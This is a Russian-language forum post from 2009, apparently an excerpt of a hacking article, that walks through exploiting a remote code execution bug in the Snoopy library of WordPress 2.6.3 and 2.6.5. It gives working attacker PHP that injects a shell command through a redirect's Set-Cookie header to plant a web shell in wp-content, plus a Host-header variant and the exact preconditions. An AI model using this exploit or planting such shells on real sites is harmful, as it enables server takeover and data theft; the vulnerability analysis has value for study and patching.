Показать сообщение отдельно

WordPress Snoopy Remote Code Execution
  #4  
Старый 27.05.2009, 20:07
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию WordPress Snoopy Remote Code Execution

3. WordPress Snoopy Remote Code Execution (2.6.3<=WordPress<=2.6.5)

Теперь настало время сделать еще один реверанс в сторону предыдущей статьи. Как ты, наверное, помнишь, WordPress 2.5.x-2.6.x позволял любому зарегистрированному пользователю с легкостью подменять RSS-фиды в Dashboard. Раскопав этот замечательный баг немного глубже, мы с легкостью сможем добиться выполнения произвольного кода на сервере, где установлен блог
Итак, если ты читал мою статью за январь сего года, то должен знать об обнаруженной забугорными кодокопателями code exec уязвимости в классе Snoopy, который присутствует также и в вордпрессе. Сама уязвимость в вордпрессовском Snoopy была пропатчена с помощью escapeshellcmd еще в 1.5.x ветке, но, тем не менее, разработчики взяли и испортили вполне работоспособный код непонятным патчем в версии 2.6.3.
Я догадываюсь, чем они думали, смотря на пост девблога с такими словами:
Цитата:
A vulnerability in the Snoopy library was announced today. WordPress uses Snoopy to fetch the feeds shown in the Dashboard. Although this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.
А также при сравнении кода Snoopy из WordPress <= 2.6.2:
Код:
exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return);
с кодом Snoopy из WordPress <= 2.6.5:
Код:
exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);
Второй код - это официальный патч разработчиков Snoopy, который закрывает предыдущий code exec (но не закрывает новый
Забавно, не правда ли? Зачем патчить то, что и так было неплохо пропатчено? Ответы на эти вопросы мы вряд ли узнаем.
Тем не менее, такая халатность разработчиков открыла мне путь к замечательной уязвимости. Но обо всем по порядку
1. Способом из первой части статьи редактируй любую RSS-ленту на главной странице админки, причем адрес ставь на свой хитрый скрипт, например, http://lamer.com/code-exec.php;
2. Скрипт code-exec.php должен содержать следующий код:
Код:
<?php
header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka');
header("Location: https://chto-ugodno.com/?feed=rss2");
?>
После совершения этих нехитрых действий на нужный блог в ./wp-content/test.php зальется шелл
Теперь давай разберем, где и почему это работает.
1. Это работает только на WordPress 2.6.3, 2.6.5 (2.6.4 просто не было, а в 2.7 Snoopy уже практически не используется) с открытой регистрацией, необходимой для редактирования рсс-фидов;
2. Это работает только на системах, где curl установлен в /usr/local/bin/curl (наиболее распространенная система с таким конфигом - FreeBSD), так как этот самый пресловутый путь жестко прописан в ./wp-includes/class-snoopy.php плюс бинарник курла проверяется на существование и исполняемость:
Код:
if(!$this->curl_path)
	return false;
if(function_exists("is_executable"))
if (!is_executable($this->curl_path))
return false;
3. Это работает, потому что Snoopy поддерживает переадресацию (до 5 раз по дефолту), во время которой он может установить кукисы и другие хэдеры, которые пошлет серверный скрипт. А, как мы можем понять из псевдопатча, над фильтрацией хэдеров при передаче их в exec() никто, конечно же, не задумывался
4. Это работает не только в кукисах, но и во многих других заголовках, например, мы сможем передать произвольный код в заголовке HOST следующим образом:
Код:
<?php
header("Location: https://lal`my evil command`.com");
?>
 
Ответить с цитированием